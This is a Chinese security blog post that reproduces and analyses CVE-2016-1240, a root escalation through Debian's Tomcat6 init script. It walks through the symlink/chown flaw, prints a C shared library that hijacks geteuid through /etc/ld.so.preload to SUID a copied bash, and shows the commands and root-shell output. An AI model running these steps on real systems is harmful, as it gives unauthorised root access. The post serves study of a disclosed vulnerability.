tomcat本地提权(CVE-2016-1240重现分析)

0x00 简单复现

漏洞相关描述,请参考链接3tomcat本地提权漏洞,准确来说应该是Debian系统给的一个启动脚本有问题。这让我学习到了一种新的漏洞攻击形式。由于之前对shell脚本有所了解,决定通读一下漏洞POC。学习一下漏洞利用知识。

  • 首先,用apt-get安装tomcat6(官方似乎没管tomcat6,依然存在漏洞)

安装并且给tomcat6用户赋予密码和bash:

1
2
3
sudo usermod -s /bin/bash tomcat6
passwd tomcat6
su -l tomcat6
  • 运行POC提权

运行链接3中给的POC。重启下tomcat服务,即可获得root shell

1
$ ./ tomcat_CVE-2016-1240.sh /var/lib/tomcat6/logs/catalina.out

看看/tmp目录下有一个tomcatrootsh文件,看看它的权限:

1
-rwxr-xr-x  1 tomcat6 tomcat6 1017016 111 16:17 tomcatrootsh*

重启tomcat服务:

1
sudo service tomcat6 restart

再来看看这个文件权限:

1
-rwsrwxrwx  1 root    root    1017016 111 16:17 tomcatrootsh*

该文件权限已经变成了root用户,并且有个神奇的s权限。看POC可以发现这个文件就是/bin/bash。 于是我们就顺利的获得了root权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat6 root 19 11月 1 16:21 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1017016 111 16:17 /tmp/tomcatrootsh

Please tell me you're seeing this too ;)


[+] Executing the rootshell /tmp/tomcatrootsh now!

tomcatrootsh-4.3# id
uid=121(tomcat6) gid=130(tomcat6) euid=0(root) 组=0(root),130(tomcat6)

0x01 攻击原理

1.巧妙利用软链接读写任意文件

看看启动脚本,/etc/init.d/tomcat6,关键部分(171行):

1
2
3
4
5
6
7
8
9
# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
start-stop-daemon --start -b -u "$TOMCAT6_USER" -g "$TOMCAT6_GROUP" \
-c "$TOMCAT6_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
-x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
status="$?"
set +a -e

运行该启动脚本的是root权限,所以它什么都可以干~ chown语句,将catalina.out这个文件的所有者赋给了tomcat6用户。没毛病~~ 但是,聪明的hackercatalina.out修改为任意文件的软链接的话。在tomcat重启之后,就可以任意读写catalina.out所指向的文件了。

2.验证基本原理

angelwhu用户新建一个文件:

1
2
echo security test > angelwhu_file
chmod 400 angelwhu_file

用户tomcat6建立一个软链接指向angelwhu_file:

1
ln -s angelwhu_file tomcat6_ln

这时,读文件没有权限:

1
2
$ cat tomcat6_ln 
cat: tomcat6_ln: 权限不够

sudo权限强行将软链接权限变更为tomcat。

1
sudo chown tomcat6:tomcat6 tomcat6_ln

神奇的发现angelwhu_file的所有者变成了tomcat6

1
-r--------  1 tomcat6  tomcat6         14 111 16:49 angelwhu_file

自然就可以读写angelwhu_file文件了:

1
2
3
4
5
6
$ cat tomcat6_ln 
security test
$chmod 600 tomcat6_ln
$echo hack > tomcat6_ln
$ cat tomcat6_ln
hack

可以参照链接4,实际使用软链接,将catalina.out文件指向/etc/shadow文件,读取其中内容。 这样,我们就可以控制任意文件的读写了,那么应该如何获得一个好用的root shell呢?

0x02 ld.so.preload 函数劫持攻击

看POC,得知它会编译一个so文件写到/etc/ld.so.preload中,进行函数劫持攻击。与之前利用LD_PRELOAD环境变量绕过php的disable_functions类似。 在二进制调用系统函数时,会首先去/etc/ld.so.preload中找。这里便进行了函数劫持,我们来看看它做了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0); //chown root:root bash
chmod("$BACKDOORPATH", 04777); //chmod u+s bash ==> to get root privileges. (use SUID)
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}

可以看到,POC中劫持了geteuid函数。当二进制文件执行调用该函数时,便执行了如下操作:

1
2
chown("$BACKDOORPATH", 0, 0);    //chown root:root bash
chmod("$BACKDOORPATH", 04777); //chmod u+s bash ==> to get root

这里的$BACKDOORPATHcp /bin/bash $BACKDOORPATH。也就是复制过来的bash二进制文件。 这两句话的意思就是上面解释的:将复制的bash文件设成root用户,并且设置权限加上了s。能够做这两件事情的,只有root权限了。这里便利用了s权限了。 请参考Linux权限位(S位) 。 简要解释为:

为了让一般用户在执行某些程序的时候,能够暂时具有该程序拥有者的权限。举例来说,我们知道,账号与密码的存放文件其实是 /etc/passwd与 /etc/shadow。而 /etc/shadow文件的权限是“-r——–”。它的拥有者是root。在这个权限中,仅有root可以“强制”存储,其他人是连看都不行的。

我简要理解为:设置了s权限的文件,我们可以暂时获得文件宿主的权限。 POC利用了sudo命令来进行攻击。首先看看它的权限:

1
2
$ ls -al /usr/bin/sudo
-rwsr-xr-x 1 root root 155008 211 2014 /usr/bin/sudo

再来看看是否有geteuid函数:

1
2
3
4
5
6
$ objdump -d /usr/bin/sudo | grep geteuid
0000000000003cc0 <geteuid@plt>:
f802: e8 b9 44 ff ff callq 3cc0 <geteuid@plt>
fd28: e8 93 3f ff ff callq 3cc0 <geteuid@plt>
18b50: e8 6b b1 fe ff callq 3cc0 <geteuid@plt>
18ba0: e8 1b b1 fe ff callq 3cc0 <geteuid@plt>

perfect~~POC中,便有了这句话:

1
sudo --help 2>/dev/null >/dev/null      #to get root privileges temporarily. because sudo has SUID(s).

就是完成了将复制的bash文件,设置成了下列权限:

1
-rwsrwxrwx  1 root     root     1017016 111 16:17 tomcatrootsh*

现在任意用户使用./tomcatrootsh -p就能获得root shell了。-p参数,我翻了下man,得到英文解释:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

用它就能获得宿主的shell环境了。 再次做个小实验,模拟下POC做的事情:

1
2
3
4
5
6
7
$ cp /bin/bash bashmy
$ sudo chown root:root bashmy
$sudo chmod u+s bashmy

$ ./bashmy -p
bashmy-4.3# whoami
root

总结:分析下POC,让我再次学到了新知识,耐心读读利用代码,可以好好提升自己的能力。

0x03 参考

http://www.freebuf.com/vuls/115862.html
http://www.cnblogs.com/LittleHann/p/5937331.html
http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
http://www.blogsir.com.cn/?p=127
http://binyan17.iteye.com/blog/1444452

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/11/01/tomcat-local-privilege-cve20161240-replay-analysis/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog